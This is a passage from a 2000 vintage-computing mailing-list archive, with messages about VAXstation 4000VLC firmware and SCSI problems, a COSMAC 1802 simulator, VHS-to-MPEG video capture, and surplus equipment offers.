Fritzler { mid@auk.cx } http://www.auk.cx/~mid/ From cmcmanis at mcmanis.com Mon May 1 23:51:02 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:13 2005 Subject: VAX/VLC firmware upgrade? Message-ID: <4.3.1.2.20000501214731.032afeb0@208.226.86.10> Hello All, I've got two VLCs, I'm running them both headless. They are connected to S1 and S2 of a VT340 terminal. One of them "loses" the terminal sometimes. If try typing nothing is echoed although I can still send stuff to the serial port from a process and it displays. Sometimes I can "fix" it by breaking to the chevron and then typing 'c' (continue). This happens on both VMS and NetBSD so I don't think it is a driver problem. The other VLC doesn't have any issues like this at all. The VLC that has no issues has Firmware 1.5, the one that has issues has Firmware 1.3. I'm wondering if there is a way to flash the firmware? I've got an EPROM programmer but I don't know if there are is anything else I need to do. --Chuck From wrking at tsoft.com Tue May 2 00:09:40 2000 From: wrking at tsoft.com (William King) Date: Sun Feb 27 18:51:13 2005 Subject: follow up: 11/23+ question Message-ID: <000101bfb3f4$9e6d0440$bf01a8c0@dadaboom.com> Thanks to the people who have responded. There is no suffix to the board number. M8189, that's it. I've looked really closely at the soldering of the UART socket. It has the same flow as the rest of the components, so I still think it was manufactured this way. I powered it up tonight and determined that the daughter card is the console port. I connected a terminal and it works as you would expect. The firmware seems to be standard 11/23+ 1.0 firmware. I think I'll just by a 6402 UART and replace the daughter card. Thanks again, Bill From healyzh at aracnet.com Tue May 2 02:08:51 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:13 2005 Subject: VAX/VLC firmware upgrade? In-Reply-To: <4.3.1.2.20000501214731.032afeb0@208.226.86.10> Message-ID: >Hello All, > >I've got two VLCs, I'm running them both headless. They are connected to S1 >and S2 of a VT340 terminal. One of them "loses" the terminal sometimes. If >try typing nothing is echoed although I can still send stuff to the serial >port from a process and it displays. Sometimes I can "fix" it by breaking >to the chevron and then typing 'c' (continue). This happens on both VMS and >NetBSD so I don't think it is a driver problem. Any problems with drives going offline? I've spent the last couple hours fighting with this blasted one I just got. Decided it must be the 2GB HD (it's a 3rd party drive) so put the RZ23L in, got a bit farther before it to decided to go off-line. Plus I think it dislikes my 'floater' CD-ROM. This is the CD-ROM I use on *everything* that's SCSI. The wierd thing is, I've used it to load other DEC systems, but I had to flip the blocksize switch, and I'm just about positive I just flipped it to 2048-byte blocks, WTF! I'm starting to think the only way I'll get this system up is to boot it into my cluster as a diskless client! Grrr! BTW, I'm 1.3 on my firmware. | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From cmcmanis at mcmanis.com Tue May 2 02:57:29 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:13 2005 Subject: VAX/VLC firmware upgrade? In-Reply-To: References: <4.3.1.2.20000501214731.032afeb0@208.226.86.10> Message-ID: <4.3.1.2.20000502005115.01a68320@208.226.86.10> >Any problems with drives going offline? I've spent the last couple hours >fighting with this blasted one I just got. Decided it must be the 2GB HD >(it's a 3rd party drive) so put the RZ23L in, got a bit farther before it >to decided to go off-line. No issues in that regard. I'm running the RZ24L that came inside of it. I did get the occasional bit of flakiness before I got it terminated but once that was done loaded VMS and NetBSD just fine. I'm using a Sun CD-ROM to load is (I know, Horrors!) Its only a 2x drive but it does work. >Plus I think it dislikes my 'floater' CD-ROM. This is the CD-ROM I use on >*everything* that's SCSI. The wierd thing is, I've used it to load other >DEC systems, but I had to flip the blocksize switch, and I'm just about >positive I just flipped it to 2048-byte blocks, WTF! I don't think that's the issue. Perhaps your drive is attempting to negotiate disconnect/reconnect behaviour and the VLC isn't telling it not to? What happens with the drive goes off line, just it just hang or is there and error message to that effect? On my M76 I took off the delayed spin-up jumper to insure that the drive was there when probed but I don't think the VLC cares. The other thing of course is to be sure that you're not running one of the drives as ID 6, and perhaps consider moving the disk to a different ID (I don't know if disconnect/recconect might "assume" the computer is 7 but you never know.) >I'm starting to think the only way I'll get this system up is to boot it >into my cluster as a diskless client! Grrr! Should work :-) >BTW, I'm 1.3 on my firmware. If I figure out how to change it I'll make it available for other VLC owners. On a whim I connected up the keyboard/monitor and booted VMS. It came up but when I logged on it said "Can't Determine Terminal Type" and scrolls the screen about half way down. I thought VMS might be smart enough to know it was using the framebuffer but I guess not. --Chuck From emu at ecubics.com Tue May 2 06:55:27 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:13 2005 Subject: VAX/VLC firmware upgrade? References: <4.3.1.2.20000501214731.032afeb0@208.226.86.10> Message-ID: <005101bfb42d$508c6750$5d01a8c0@p2350> ----- Original Message ----- From: Chuck McManis To: Sent: Monday, May 01, 2000 22:51 Subject: VAX/VLC firmware upgrade? > The VLC that has no issues has Firmware 1.5, the one that has issues has > Firmware 1.3. I'm wondering if there is a way to flash the firmware? I've > got an EPROM programmer but I don't know if there are is anything else I > need to do. Try to exchange te EPROMs first. That's the easiest way to find out, if the hardware is flaky ... cheers, emanuel From bbrown at harper.cc.il.us Tue May 2 06:52:37 2000 From: bbrown at harper.cc.il.us (Bob Brown) Date: Sun Feb 27 18:51:13 2005 Subject: IBM MT/ST Commercial "The Paperwork Explosion" In-Reply-To: References: Message-ID: >Hi all, > >Just received my previously-mentioned Raymond Scott "Manhattan Research" >CD-Set/Book and it's incredible. Wow. > >On-topic, it has the soundtrack to an industrial film for the MT/ST from >1967. In there is Jim Henson's voice announcing, "Used systematically >throughout an office, these two pieces of IBM equipment alone have >increased people's productivity by 50%." > >If anyone is interested in hearing it, maybe I could post a couple of >snippets as mp3 files or something...just let me know. > >Cheers, > >Aaron Sounds interesting! -Bob Bob Brown Saved by grace Intranet Sysadmin Page: http://info1.harper.cc.il.us/~bbrown From emu at ecubics.com Tue May 2 07:10:24 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:13 2005 Subject: VAX/VLC firmware upgrade? References: <4.3.1.2.20000501214731.032afeb0@208.226.86.10> <4.3.1.2.20000502005115.01a68320@208.226.86.10> Message-ID: <006501bfb42f$6d041570$5d01a8c0@p2350> ----- Original Message ----- From: Chuck McManis To: Sent: Tuesday, May 02, 2000 01:57 Subject: Re: VAX/VLC firmware upgrade? > No issues in that regard. I'm running the RZ24L that came inside of it. I > did get the occasional bit of flakiness before I got it terminated but once > that was done loaded VMS and NetBSD just fine. I use for this purpose a nice expensive active terminator. Really helps if you don't know if your termination is right, specialy, if you're mixing SCSI1 & SCSI 2 devices. And check the cable ! > I'm using a Sun CD-ROM to load is (I know, Horrors!) > Its only a 2x drive but it does work. It's definitely faster than a 72x drive which doesn't work ;-) > >Plus I think it dislikes my 'floater' CD-ROM. This is the CD-ROM I use on > >*everything* that's SCSI. The wierd thing is, I've used it to load other > >DEC systems, but I had to flip the blocksize switch, and I'm just about > >positive I just flipped it to 2048-byte blocks, WTF! I took mine, put in in the right block mode an labeled it "DEC !!!". And never change it again ! > I don't think that's the issue. Perhaps your drive is attempting to > negotiate disconnect/reconnect behaviour and the VLC isn't telling it not > to? What happens with the drive goes off line, just it just hang or is > there and error message to that effect? On my M76 I took off the delayed > spin-up jumper to insure that the drive was there when probed but I don't > think the VLC cares. Weird idea, but: are the fans in the vlc working ? probably the drives are getting hot (small enclosure !!) and shut down ? > The other thing of course is to be sure that you're not running one of the > drives as ID 6, and perhaps consider moving the disk to a different ID (I > don't know if disconnect/recconect might "assume" the computer is 7 but you > never know.) Probably wouldn't even start on ID 6. > >I'm starting to think the only way I'll get this system up is to boot it > >into my cluster as a diskless client! Grrr! > Should work :-) Try again ;-) The VLC is a nice SCSI box, and with 24 MByte Ram not even that bad for VMS. > >BTW, I'm 1.3 on my firmware. > > If I figure out how to change it I'll make it available for other VLC owners. (c) ! Good luck, emanuel From allisonp at world.std.com Tue May 2 09:17:25 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:13 2005 Subject: COSMAC 1802 Simulator In-Reply-To: <000e01bfb3e3$cc930b00$ca646464@dogclient01> Message-ID: I'd be interested. what does it require to run? Allison On Mon, 1 May 2000, Mike wrote: > Pretty funny.... Or I guess synchronistic, I guess. I just got my 1802 > simulator past the first milepost tonight (It's two days old). It'll > process all the Cosmac's instruction's, show registers, and deposit to and > examine ram. > > I could use a few beta testers if you happen to know cosmac machine code. > > it's at: > http://users.leading.net/~dogas/classiccmp/cosmac/cosmac.htm > > Tomorrow night, I'll add arbitrary ram block saves and loads from disk and a > mini assember if things go fast. Eventally, I'll add a nice GUI to it and > clean up the code that I'm muddling around with. > > Cheers > - Mike: dogas@leading.net > > > -----Original Message----- > From: allisonp > To: classiccmp@classiccmp.org > Date: Monday, May 01, 2000 11:02 PM > Subject: Re: COSMAC 1802 Simulator > > > > > >-----Original Message----- > >From: Kirk Davis > > > > > >>Ugh - I spent some time writing a 1802 simulator > >>and wanted to get Tiny Basic going on it. I just went > > > > > >That was poor planning. ;) > > > >>though my manuals and I have the Basic manual, but have > >>seemed to lost the hex dump for the Basic Interpreter itself. > > > > > >Well if someone else doesn't drop a box of stuff on you I have > >Quest TB for the 1802 somewhere safe. I can zap a copy of > >the dump. But you can't have the paper tape! > > > > > >Allison > > > From allisonp at world.std.com Tue May 2 09:21:41 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:13 2005 Subject: follow up: 11/23+ question In-Reply-To: <000101bfb3f4$9e6d0440$bf01a8c0@dadaboom.com> Message-ID: This is not a DEC hack nor standard production. I'd suspect someone in the field needed a fifo buffered serial and did it this way for themselves. It could be a CSS (computer special systems, DEC) hack as they did oddball things for big customers (tempest and the like) but I'd never seens much in the way of hacked Qbus oddities like that one. Allison On Mon, 1 May 2000, William King wrote: > Thanks to the people who have responded. There is no suffix to the board > number. M8189, that's it. I've looked really closely at the soldering of the > UART socket. It has the same flow as the rest of the components, so I still > think it was manufactured this way. I powered it up tonight and determined > that the daughter card is the console port. I connected a terminal and it > works as you would expect. The firmware seems to be standard 11/23+ 1.0 > firmware. I think I'll just by a 6402 UART and replace the daughter card. > > Thanks again, > Bill > From jhfine at idirect.com Tue May 2 09:41:47 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:51:13 2005 Subject: latest ebay trash References: <200004270332.UAA03641@civic.hal.com> Message-ID: <390EE92B.F0F644B1@idirect.com> >Dwight Elvey wrote: > Leaving_eBay___Clearance_Sale!!!__Last_Chance > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=318208006 > I hope everyone either leaves this spam alone or > uses a false name to bid it up to a ridiculous price. > I was thinking of heading to the nearest library > to do just that. Although a dutch auction, if enough > junk bids come in, he'll never be able to find any > real ones. Jerome Fine replies: Interesting. I followed it for a few days, but it has now disappeared? Was it also a scam? Sincerely yours, Jerome Fine From dogas at leading.net Tue May 2 10:23:05 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:51:13 2005 Subject: COSMAC 1802 Simulator Message-ID: <000201bfb44a$f5fad7e0$ca646464@dogclient01> >I'd be interested. what does it require to run? >Allison Wonderfull Allison, thanks! There's a win-32 console binary (it's small) for 95/98/NT or a single .cpp source file that shouldn't be too hard to recompile anywhere else. Dump machine code in with the m! command (for ex: " m! 0 1525c4" will dump INC (r5); DEC (r5); NOP into 'ram' starting at address 0 (A write cursor allows continuations in entry, another "m! c4c4c4" will write 3 NOP's starting a address 3 using the above example) and then three 't' commands will single-step execute the instructions (or a single "t 3" would have too). 'r' dumps registers at any point. and "m? address [count]" looks at memory. Thanks for the help! - Mike: dogas@leading.net > > >On Mon, 1 May 2000, Mike wrote: > >> Pretty funny.... Or I guess synchronistic, I guess. I just got my 1802 >> simulator past the first milepost tonight (It's two days old). It'll >> process all the Cosmac's instruction's, show registers, and deposit to and >> examine ram. >> >> I could use a few beta testers if you happen to know cosmac machine code. >> >> it's at: >> http://users.leading.net/~dogas/classiccmp/cosmac/cosmac.htm >> >> Tomorrow night, I'll add arbitrary ram block saves and loads from disk and a >> mini assember if things go fast. Eventally, I'll add a nice GUI to it and >> clean up the code that I'm muddling around with. >> >> Cheers >> - Mike: dogas@leading.net >> >> >> -----Original Message----- >> From: allisonp >> To: classiccmp@classiccmp.org >> Date: Monday, May 01, 2000 11:02 PM >> Subject: Re: COSMAC 1802 Simulator >> >> >> > >> >-----Original Message----- >> >From: Kirk Davis >> > >> > >> >>Ugh - I spent some time writing a 1802 simulator >> >>and wanted to get Tiny Basic going on it. I just went >> > >> > >> >That was poor planning. ;) >> > >> >>though my manuals and I have the Basic manual, but have >> >>seemed to lost the hex dump for the Basic Interpreter itself. >> > >> > >> >Well if someone else doesn't drop a box of stuff on you I have >> >Quest TB for the 1802 somewhere safe. I can zap a copy of >> >the dump. But you can't have the paper tape! >> > >> > >> >Allison >> > >> > From allisonp at world.std.com Tue May 2 11:20:05 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:13 2005 Subject: COSMAC 1802 Simulator In-Reply-To: <000201bfb44a$f5fad7e0$ca646464@dogclient01> Message-ID: Good runs under W95/nt then, have that running. M!... Ah UT4. have manual. Wheres Bin/CPP for it? Last emulator for 1802 I'd played with was z80 based, even on a 4mhz z80 it was faster than 1802. I wonder where I put that. Allison From elvey at hal.com Tue May 2 11:28:20 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:13 2005 Subject: latest ebay trash In-Reply-To: <390EE92B.F0F644B1@idirect.com> Message-ID: <200005021628.JAA05035@civic.hal.com> Jerome Fine wrote: > >Dwight Elvey wrote: > > > Leaving_eBay___Clearance_Sale!!!__Last_Chance > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=318208006 > > I hope everyone either leaves this spam alone or > > uses a false name to bid it up to a ridiculous price. > > I was thinking of heading to the nearest library > > to do just that. Although a dutch auction, if enough > > junk bids come in, he'll never be able to find any > > real ones. > > Jerome Fine replies: > > Interesting. I followed it for a few days, but it has now disappeared? > Was it also a scam? Hi Jerome I also wrote eBay. There is nothing in eBay rules about having these kind of items for sale but eBay does require that they keep them in the correct category. These kind of offers are required to stay in the services/information category and not in other categories. While the offer they had may be completely legitimate, it was inappropriate to put the sale in other groups. I suspect that eBay moved them to the other group. If in the future, others on classiccmp@classiccmp.org see inappropriate items, they can report it to eBay at: http://cgi3.ebay.com/aw-cgi/eBayISAPI.dll?ReportInfringing They will generally get to it. Like any business, they don't like to be taken advantage of any more than anyone else. Dwight From John.Allain at donnelley.infousa.com Tue May 2 11:47:59 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:51:13 2005 Subject: VHS to MPG/AVI/Quicktime conversion? In-Reply-To: <20000501213919.W12705@mrbill.net> Message-ID: <000601bfb456$2d611ef0$0e0301ac@dba00802.databaseamerica.com> Bill Bradford said: > I've got the official Sun video tape of the SPARCstation 10... > Anybody on these lists have the ability to digitize/convert... I've been doing VHS -> AVI CD-ROM's for a couple of weeks now. So far the process is still fun. I've tested these works on everything from P-III's to 486-33's and am quite happy with the results so far. If your tape is < 65 minutes or so I can fit it on 1 CD. If less I can start upping the quality ( HxWxFrames/S ) If more then the quality may be pretty low, or I can make two. Anybody out there have a good software MPG converter? John A. From af-list at wfi-inc.com Tue May 2 12:12:01 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:51:13 2005 Subject: VHS to MPG/AVI/Quicktime conversion? In-Reply-To: <000601bfb456$2d611ef0$0e0301ac@dba00802.databaseamerica.com> Message-ID: I have a copy of Ulead-whatever-it-is that came with my capture card that will do mpeg. It works well...contact me off list and we can work out the details. Cheers, Aaron On Tue, 2 May 2000, John Allain wrote: > > Bill Bradford said: > > I've got the official Sun video tape of the SPARCstation 10... > > Anybody on these lists have the ability to digitize/convert... > > > > I've been doing VHS -> AVI CD-ROM's > for a couple of weeks now. > So far the process is still fun. > > I've tested these works on everything from P-III's > to 486-33's and am quite happy with the results so far. > > If your tape is < 65 minutes or so I can fit it on 1 CD. > If less I can start upping the quality ( HxWxFrames/S ) > If more then the quality may be pretty low, or I can make > two. > > Anybody out there have a good software MPG converter? > > John A. > From kdavis at bender.ndx.net Tue May 2 11:08:09 2000 From: kdavis at bender.ndx.net (Kirk Davis) Date: Sun Feb 27 18:51:13 2005 Subject: COSMAC 1802 Simulator In-Reply-To: from "allisonp@world.std.com" at May 02, 2000 12:20:05 PM Message-ID: <200005021608.JAA18992@bender.ndx.net> > > > Good runs under W95/nt then, have that running. > > M!... Ah UT4. have manual. > > Wheres Bin/CPP for it? > I'm working a version of it and hope to have Linux ported to my elf tonight. It's that dang 1802 memory management that is holding me up ;^) > Last emulator for 1802 I'd played with was z80 based, even on a 4mhz z80 > it was faster than 1802. I wonder where I put that. > Was this for CP/M? I'd love to see a copy of this. Kirk > Allison > From kdavis at bender.ndx.net Tue May 2 11:58:54 2000 From: kdavis at bender.ndx.net (Kirk Davis) Date: Sun Feb 27 18:51:13 2005 Subject: VHS to MPG/AVI/Quicktime conversion? In-Reply-To: <000601bfb456$2d611ef0$0e0301ac@dba00802.databaseamerica.com> from "John Allain" at May 02, 2000 12:47:59 PM Message-ID: <200005021658.JAA19123@bender.ndx.net> > > > Bill Bradford said: > > I've got the official Sun video tape of the SPARCstation 10... > > Anybody on these lists have the ability to digitize/convert... > > > > I've been doing VHS -> AVI CD-ROM's > for a couple of weeks now. > So far the process is still fun. > > I've tested these works on everything from P-III's > to 486-33's and am quite happy with the results so far. > > If your tape is < 65 minutes or so I can fit it on 1 CD. > If less I can start upping the quality ( HxWxFrames/S ) > If more then the quality may be pretty low, or I can make > two. > > Anybody out there have a good software MPG converter? > I've been playing around with making VCD's that I've been able to play on a DVD players. I've looked at a few software encoders. These make MPG1/VCD compliant streams. The best I've seen is the Panasonic. It's a plugin for Premier. The Xing encoder is ok. It's standalone and you can download a crippled demo from their website. Hope this helps Kirk From healyzh at aracnet.com Tue May 2 13:30:07 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:13 2005 Subject: VAXstation 4000VLC Message-ID: I'm starting to hate SCSI :^) Possible problems: 2GB HD VAX Hobbyist V2 CD-ROM SCSI Cable Definite problem: The way the switches were set on the CD-ROM. The only thing I can think of is that somehow those switches got scrambled, not only was there the 512/2048-byte block problem I was fighting last night, but there were apparently termination problems. Anyway I've not got OpenVMS V7.1 loaded on a 1GB HD that came out of a Super Computer and am configuring it. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From Innfogra at aol.com Tue May 2 14:56:26 2000 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:51:13 2005 Subject: (no subject) Message-ID: My Equipment recycler got in a couple of pieces of equipment that He thought the group might be interested in. 1) IBM 3370 Head of string in good condition with an ADIC? custom controller. 2)"Ultimate" Pick machine from about 1980. I think this is a PDP 11 based machine. This is an a rack with a large Hard Drive and 1/2" tape. Both are operational. Both would need freight shipment. We are experienced in shipping large units. If anyone is interested please contact me off list at whoagiii@aol.com. Paxton From Innfogra at aol.com Tue May 2 15:01:35 2000 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:51:13 2005 Subject: IBM 3370 & Ultimate PDP availiable was (no subject) Message-ID: <78.4b488a6.26408e1f@aol.com> Sorry for the repost but I forgot the subject line. My Equipment recycler got in a couple of pieces of equipment that he thought the group might be interested in. 1) IBM 3370 Head of string in very good condition with an ADIC? custom controller. 2) "Ultimate" Pick machine from about 1980. I think this is a PDP 11 based machine. This is an a rack with a large Hard Drive and 1/2" tape. I haven't seen either but if there is any interest I will get more info. Both are operational. Both would need freight shipment. We are experienced in shipping large units. If anyone is interested please contact me off list at whoagiii@aol.com. Paxton From allisonp at world.std.com Tue May 2 15:39:22 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:13 2005 Subject: COSMAC 1802 Simulator In-Reply-To: <200005021608.JAA18992@bender.ndx.net> Message-ID: > I'm working a version of it and hope to have Linux > ported to my elf tonight. It's that dang 1802 memory > management that is holding me up Memory management? It's a flat 64kb space. > Was this for CP/M? I'd love to see a copy of this. It was z80 binary that ran on most anything as it carried it's own IO but I got it as a binary, it was on one of the sites out there many millions of years ago. There was also an article in Byte (or maybe KB) back then for an 8080 emulator for 1802. What made the 8080 one interesting was X,P,T, D, DF and register stack were displayed like in the RCA manuals in emulated time. So the need for IO was no there. Allison From mikeford at socal.rr.com Tue May 2 15:55:39 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:14 2005 Subject: ComputerWorld Junk article, a reply In-Reply-To: <000601bfb456$2d611ef0$0e0301ac@dba00802.databaseamerica.com> References: <20000501213919.W12705@mrbill.net> Message-ID: Nothing like your name in the paper. Remember that ComputerWorld article on computer junk? I immediately wrote a letter to the editor saying don't toss those computers, email me and I will find a person that wants them. They published my letter with my email address. As stated in the letter I will be passing on all the stuff that isn't in SoCal to my vast network of old computer loving friends. Here is the first batch. Please reply directly to the person with the stuff. ******************************** >Hi Mike >My name is Sharon and I am the Network Analyst for Steuben Trust Company (A >Community Bank) In Hornell, NY. (South Western NY) >My boss read your letter in Computerworld and we were hoping you might have >a contact for us. We have some old computers, Nic cards, modems (internal >and External), hubs, Monitors, etc that we have stored in a room collecting >dust. Do you know of anyone in this area that could benefit from this >equipment? We can not find anyone in the area interested, if you could >help it I would appreciate it very much. > >Thank you for your time, my address is Sharon.Houghtaling@Steubentrust.com > >Sincerely, >Sharon I will pass your email on to my "network" of friends, and I am sure you will have direct replies from them soon. Thank you very much for contacting me. Cheers, Mike Ford ******************************** From ss at allegro.com Tue May 2 16:54:06 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:51:20 2005 Subject: VHS to MPG/AVI/Quicktime conversion? In-Reply-To: <20000501213919.W12705@mrbill.net> Message-ID: <200005022155.OAA05314@opus.allegro.com> Re: > Anybody on these lists have the ability to digitize/convert video > from VHS tape (NTSC) to a computer-readable (MPG preferred, but AVI or > Quicktime would also work) format? If you look, you'll find that video capture devices range from cheap and lo-res (< $100 and about 150 pixels across) to mid-range ($200 to $300, about 250 to 300 pixels across) to expensive ($300+, about 300 to 640 (or more?) pixels across). There appear to be 4 basic interfaces: 1) USB 2) parallel port 3) backplane (i.e., card plugs into your system) 4) FireWire I found one low cost device in the mid-range performance category, made by Belkin. It's a USB device and cost me about $89. Not counting the cable, it's about the size of a pack of gum. Inputs: SVHS and regular RCA jack. The included software uses your sound card to get the audio. It captures to MPEG format. I'm not a video expert...but the quality seems acceptable to me. Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From ss at allegro.com Tue May 2 16:55:26 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:51:20 2005 Subject: VHS to MPG/AVI/Quicktime conversion? In-Reply-To: <20000501213919.W12705@mrbill.net> Message-ID: <200005022156.OAA05336@opus.allegro.com> Re: > Anybody on these lists have the ability to digitize/convert video > from VHS tape (NTSC) to a computer-readable (MPG preferred, but AVI or > Quicktime would also work) format? If you look, you'll find that video capture devices range from cheap and lo-res (< $100 and about 150 pixels across) to mid-range ($200 to $300, about 250 to 300 pixels across) to expensive ($300+, about 300 to 640 (or more?) pixels across). There appear to be 4 basic interfaces: 1) USB 2) parallel port 3) backplane (i.e., card plugs into your system) 4) FireWire I found one low cost device in the mid-range performance category, made by Belkin. It's a USB device and cost me about $89. Not counting the cable, it's about the size of a pack of gum. Inputs: SVHS and regular RCA jack. The included software uses your sound card to get the audio. It captures to MPEG format. I'm not a video expert...but the quality seems acceptable to me. Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From ss at allegro.com Tue May 2 16:58:11 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:51:20 2005 Subject: (Fwd) Re: VHS to MPG/AVI/Quicktime conversion? Message-ID: <200005022159.OAA05371@opus.allegro.com> (possible re-post, sorry...Pegasus aborted the first time) Re: > Anybody on these lists have the ability to digitize/convert video > from VHS tape (NTSC) to a computer-readable (MPG preferred, but AVI or > Quicktime would also work) format? If you look, you'll find that video capture devices range from cheap and lo-res (< $100 and about 150 pixels across) to mid-range ($200 to $300, about 250 to 300 pixels across) to expensive ($300+, about 300 to 640 (or more?) pixels across). There appear to be 4 basic interfaces: 1) USB 2) parallel port 3) backplane (i.e., card plugs into your system) 4) FireWire I found one low cost device in the mid-range performance category, made by Belkin. It's a USB device and cost me about $89. Not counting the cable, it's about the size of a pack of gum. Inputs: SVHS and regular RCA jack. The included software uses your sound card to get the audio. It captures to MPEG format. I'm not a video expert...but the quality seems acceptable to me. Stan Sieler sieler@allegro.com Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From jrkeys at concentric.net Tue May 2 17:03:11 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:51:20 2005 Subject: Free (almost) to good home... References: <3.0.5.32.20000501142405.0095b640@mail.bluefeathertech.com> Message-ID: <001401bfb482$3624e900$e0711fd1@default> If not taken I would like to have it ----- Original Message ----- From: Bruce Lane To: Sent: Monday, May 01, 2000 4:24 PM Subject: Free (almost) to good home... > By 'Almost,' I meant just for postage ($3.20 Priority Mail). > > I have, still with the tape in its shrink-wrap, the 'Personal Application > Kit' for the NEC PC-8201A portable. Got the manual with it as well. > > First one with an offer to cover postage gets it! > > Thanks. > > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Bruce Lane, Owner and head honcho, Blue Feather Technologies > http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com > Amateur Radio: WD6EOS since Dec. '77 > "Our science can only describe an object, event, or living thing in our > own human terms. It cannot, in any way, define any of them..." > From af-list at wfi-inc.com Tue May 2 17:13:15 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:51:20 2005 Subject: VHS to MPG/AVI/Quicktime conversion? In-Reply-To: <200005022155.OAA05314@opus.allegro.com> Message-ID: What I bought was one of the last of the original stock of Real3D's Starfighter PCI cards. It's a 16-meg card based on the Intel i740 chipset, cost $49. I still see them on eBay for about the same amount... On Tue, 2 May 2000, Stan Sieler wrote: > Re: > > Anybody on these lists have the ability to digitize/convert video > > from VHS tape (NTSC) to a computer-readable (MPG preferred, but AVI or > > Quicktime would also work) format? > > If you look, you'll find that video capture devices range from cheap and > lo-res (< $100 and about 150 pixels across) to mid-range ($200 to $300, > about 250 to 300 pixels across) to expensive ($300+, about 300 to 640 (or > more?) pixels across). > > There appear to be 4 basic interfaces: > > 1) USB > > 2) parallel port > > 3) backplane (i.e., card plugs into your system) > > 4) FireWire > > I found one low cost device in the mid-range performance category, > made by Belkin. It's a USB device and cost me about $89. Not counting the > cable, it's about the size of a pack of gum. Inputs: SVHS and regular > RCA jack. The included software uses your sound card to get the audio. > > It captures to MPEG format. > > I'm not a video expert...but the quality seems acceptable to me. > > > > Stan Sieler sieler@allegro.com > www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler > From jrkeys at concentric.net Tue May 2 17:23:27 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:51:20 2005 Subject: New Find 1st of the week Message-ID: <016c01bfb485$0ab446a0$e0711fd1@default> Today I picked up a working (notes the machine say so, not tested yet) PDP11/23+ in the rack with 2 RL02's, a MTI 8" FD unit with 2 drives, and digital unit with a small black face harddrive mounted in it. Everything is cabled marked as being working items, unit itself is pretty clean. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000502/20bdcad6/attachment.html From donm at cts.com Tue May 2 18:56:06 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:20 2005 Subject: (no subject) In-Reply-To: Message-ID: On Tue, 2 May 2000 Innfogra@aol.com wrote: > My Equipment recycler got in a couple of pieces of equipment that He thought > the group might be interested in. > > 1) IBM 3370 Head of string in good condition with an ADIC? custom controller. Advanced Digital Information Corporation, Redmond WA, makers of tape equipment. - don > 2)"Ultimate" Pick machine from about 1980. I think this is a PDP 11 based > machine. This is an a rack with a large Hard Drive and 1/2" tape. > > Both are operational. Both would need freight shipment. We are experienced in > shipping large units. > > If anyone is interested please contact me off list at whoagiii@aol.com. > > Paxton > From emu at ecubics.com Tue May 2 19:18:25 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:51:20 2005 Subject: VAXstation 4000VLC References: Message-ID: <020901bfb495$1f3cd370$5d01a8c0@p2350> ----- Original Message ----- From: Zane H. Healy To: Sent: Tuesday, May 02, 2000 12:30 Subject: VAXstation 4000VLC > I'm starting to hate SCSI :^) Not really, or ;-) > Possible problems: > 2GB HD Is it possible to use bigger than 1GB as system ? Don't know ... > Anyway I've not got OpenVMS V7.1 loaded 7.1 or 7.2.1 ? IIRC, there were some issues before 7.2 with non dec drives during install, but I'm not sure. > on a 1GB HD that came out of a Super Computer and am configuring it. Just for the heck of it, (Never installed VMS on a VLC before) i tried it few hours before. I took a TEAC CDROM + 1 GB Fujitsu Drive. Took me around 1 hour to logon in DECWindows, without any problems. Good luck, emanuel From vaxman at uswest.net Tue May 2 19:59:31 2000 From: vaxman at 